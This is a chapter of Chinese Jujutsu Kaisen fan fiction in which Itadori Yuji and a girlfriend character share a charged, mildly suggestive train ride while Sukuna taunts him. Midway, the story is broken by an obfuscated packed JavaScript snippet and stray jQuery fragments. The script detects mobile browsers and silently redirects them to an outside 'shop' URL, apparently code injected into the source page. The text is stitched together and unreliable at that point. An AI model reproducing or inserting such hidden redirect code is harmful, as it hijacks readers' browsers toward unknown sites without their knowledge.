20.第 20 章
作品:《欸,忘记和幼驯染告白不代表你们可以勾引她口牙!》 回高专的电车上,每节车厢都挤得满满当当,虎杖悠仁不禁幻想这样的场景:车门开的瞬间,他和由梨像沙丁鱼罐头里的小鱼一样,顺着人潮哗的冲出去。
也许为了不被冲散,他还会紧紧拥着由梨,同时保护好她买给钉崎的礼物,连带这个印着字母的黄色小盒一起牢牢地拴在他身边。
说来,钉崎向往的大城市,人也太多了吧!
挨着车门的那位公文包大叔,只看他背影,就令人感到凄惨。视线上移,映入眼帘的是一头稀疏的黑发,和忘记撒肥料的稻田差不多。
休息日出外勤,虎杖难以想象成年人的痛苦。
但只要看见那个将近光秃秃的脑壳,他便能猜测一二。
虎杖胳膊上挂着礼品袋,单手撑在由梨头顶后方的车厢上,另一只手充当扶手给她抓。
星期六的人流,比他们预想的多呢!
“可以再靠过来一点的。”由梨又往后面站了站,几乎踮着脚,好让虎杖悠仁有更大的空间,不至于被其他人挤得喘不过气。
然而她的心意还未传达给虎杖,随着列车一阵急刹,对方顿时脚底打滑般扑了上来。
虎杖小心地抬高胳膊,礼物盒没什么变化。
他也一点都不痛。
只是他身前,不再和由梨保持着那份社交礼仪的距离,两个人中间的缝隙被胸膛填满,他不是笨蛋,自然明白软乎乎的触感是什么。
车厢内,真的有开空调吗?
好热。
好热啊。
“抱歉。”
身后传来不知哪个人的道歉,虎杖微微点头示意,完全不在乎有没有被人踩到或者撞到。
满脑子都是些黄色废料。
真是糟糕的一天!痛并快乐着。
他在心中痛斥自己,怎么能在外面对由梨产生别样的情愫,而且还是在这样人潮涌动的列车上,他呜呼哀哉——实在是太糟糕了!这不就对应上了曾经看到过的深夜节目的特殊情景了吗?!
他到底怎么了?虎杖深深地吸了口气,别过脑袋,躲开由梨才缓缓吐出浊气。
一定是天气太热了。
不都说夏季容易躁动之类的?嗯……除此之外,他不敢思考其他原因。
只不过,再怎么找借口安慰自己,也抵不过身体的反应,他汗流浃背、左顾右盼、欲盖弥彰。
越不想被由梨发现,暴露得越快,上半身紧紧相贴,心脏不像他的,砰砰砰差点从嘴巴里跳出来,似乎要向由梨邀功。
人实在太多了,他连微微弯腰都做不到。
虎杖悠仁这么想着,下巴突然传来一阵毛茸茸的触感,是由梨低下了头,隐隐还能看见她泛红的耳廓。
“……悠酱,你、你那里。”由梨说到一半,停了。
她呼出的温热气息全都扑到了他的胸口,给他燃烧正旺的心火又添了把柴。
在虎杖眼中,由梨以一种羞怯的情态缓缓抬头看向他,又有些许震惊。虎杖不由自主地吞咽了一下,顺便活动僵硬的身体,他换了条腿当支点。
他头脑一热,转移话题说道:“今天在五条老师家发生的事,就是由梨说的‘约会’吗?”
话一出口,他就后悔了。
这也不是适合在外面讨论的东西啊!
但是,说到底,就因为特别在意……
由梨什么时候和五条老师达成一致意见的呢?老师他……不觉得奇怪,或者说看学生当他面做着暧昧的举动时,老师在想些什么呢?
“是约会哦。”
见虎杖悠仁这副心思沉重的样子,由梨轻轻抓着他胳膊的手转为与他十指相扣,她把融合在一起的拳头举到悠仁眼前,注视着他,说的认真,“因为,我想和悠仁有更多的接触。”
虎杖没有退缩的余地,前后左右都被人夹击,只能硬着头皮面对来自由梨的热烈猛攻。
交融的双手,仿佛变成了他们两个人。
“唔,这样啊!”
他其实有许多心里话想告诉由梨,想把每一天每一秒的感情都分享并传达过去,但每每照镜子,看到脸上属于诅咒的纹路,就像被狠狠扇了巴掌,不止脸火辣辣的,心也是。
“只是‘这样啊’?悠酱不想、不喜欢亲亲吗?”由梨眯了眯眼睛,迫近小半步,将他往自己这儿拉了一把。
于是,二人如同身体涂满了胶水,在外力作用下,不再分开。
“诶、这个当然是想的!”
“喜欢的!”
虎杖甩甩脑袋,捣糨糊似的点头,生怕她误会。
可是,只要想到亲密无间的时候,一旁还有身为班主任老师的存在,心里便出现了一根刺,他觉得不拔掉的话,接下来一段日子都睡不好觉了。
他听见心脏突突地跳动,体内的诅咒这会儿安静得过分,好像对他、对由梨、对大家做过的坏事也一并消失了一般。
虎杖不再去思考关于两面宿傩的事,脑袋里装满了让他此刻更加在意的……回扣住由梨的手,扭捏地问:“那五条老师?”
“老师?”由梨嘴角上扬,缓缓解释道,“原来悠仁超级在意这一点啊。不要误会了,如果不是两面宿傩威胁悠仁的安全,我也不愿意被人紧紧盯着的嘛。”
她故意使坏,用膝盖顶撞了一下他。
“由梨!”虎杖沉声喊道。
声音压抑着说不清的情感。
“在啦在啦——悠仁这样好可爱喔——”由梨笑了笑,若无其事地继续说道,“悠酱以为我和老师说了些什么呢?无非就是拜托老师作为两面宿傩的保险,在你受不了的时候,老师出手制止灾难的发生。”
“……原来如此。”
“哼,悠仁把我和五条老师都摆在什么位置上啊,我们可没有奇怪的癖好。而且都是因为五条老师人超级好,才会答应我的出格请求。”
“没有想到那个层面啦!”虎杖悠仁脸颊通红,可惜双手都有活干,并没机会捂脸,好在车厢里确实热,穿着制服,拉链拉到底,这副模样被别人看见也不会察觉什么。
由梨也被他的体温传染了。
两个番茄酱颜色的人,相互对视,趁着列车发出嘈杂声响时,纷纷撇开头,一左一右,脑袋上端,疑似冒出源源不断的热气。
广播播报下一站位置。然而无论是虎杖还是由梨,都没有听清楚喇叭里说了什么东西。虽然沉默
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254616|197112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不语,但耳朵就像坏掉了,身体也飘飘欲仙的,拥挤的车厢在他们看来空无一人,即使到了站点又上来一批新的乘客。
“悠酱……脸好红。”由梨突然说。
“你也是喔?”虎杖不甘示弱。
又过了一会儿,由梨遭不住了,悠仁简直和太阳一样,不仅身体热,轻轻呼出来的气息也烫得惊人,说不准可以煮荷包蛋。
“……手心。”
“嗯?”
由梨顿时将自己闷进对方胸膛,不好意思地告诉他,“手心、又流汗了喔。”
“……”虎杖悠仁搂紧怀里的由梨,体温却瞬间降了下去,心也格外不安,他哼哼了几下当作回答,由梨没有再说别的。
只有他知道。
刚刚手心冒出的“汗”,是宿傩干的。
这家伙!这家伙——!虎杖悠仁咬紧牙关,直视着车窗里的倒影,就像从中看见了体内的诅咒,一人,一诅咒,一个几乎想要杀了对方,而另一个则是扬起了挑衅的微笑。
“就算我舔了一下,那又怎样?”心灵深处,对方诈尸一般邪恶地说道。
“告诉她去吧。”
“你敢吗,小子。”
因爱生妒、因爱生恨、因爱生疑。两面宿傩或许不懂爱,但他对受肉.体的情绪了如指掌,虎杖悠仁并非半途而废的那类人。
在感情方面,虎杖也执行着这一准则。
能够被强烈的感情驱使,即使体内存在诅咒,也不愿意和这女人分开。是虎杖悠仁,是他本人,以及这个蠢女人,提供了更新鲜的诡计让他将有机会愚弄二人。
两面宿傩心情十分愉悦,透过受肉.体的双眼,窥见了未来给予他们的痛苦。
接下来的一路,虎杖悠仁担惊受怕,时不时盯住二人紧紧相牵的手,唯恐诅咒再次对由梨做些什么。
想不明白,宿傩跳出来,趁机吃掉讨伐任务得来的咒物手指,这还说得通,但他为什么要舔由梨的手心。
这太奇怪了吧?
难道专门为了恶心他?虎杖心想,对方沉寂了一整天,在五条老师监管下不敢有任何小动作,就是等着约会结束的时候,特意上演这么一出吗?
“喂!你在的吧,别给我装死,倒是再说说话啊。”虎杖在内心咆哮,“诅咒果然就是诅咒,而你是最邪恶的,但我才不会因为一两句话就摔跟头。”
脑海划过由梨鼓舞他的话,他坚定了心神,仿佛说出来的字眼也带上了咒力,“我绝不因此低头,也不会因此垂丧,你这家伙只有一点说得对,我不敢把这件事告诉由梨。但这都是因为怕污了她的耳朵,而不是怕了你。”
“你就继续像条狗一样吧,宿傩。”虎杖平静地说道。
“……”
如果把他的身体比作房子,那宿傩就是寄居于此的恶犬,犬类伸舌头,天气又那么的热,真是件平常小事。
不值一提。
不过,就算恶犬有“家”,它舔过的手也需要清洗干净呢。
毕竟坏狗改不了一种恶习。
更何况像宿傩这种没有主人的恶犬呢?
虎杖心平气和地想着,脚已经迈向高专操场旁的直饮水台。

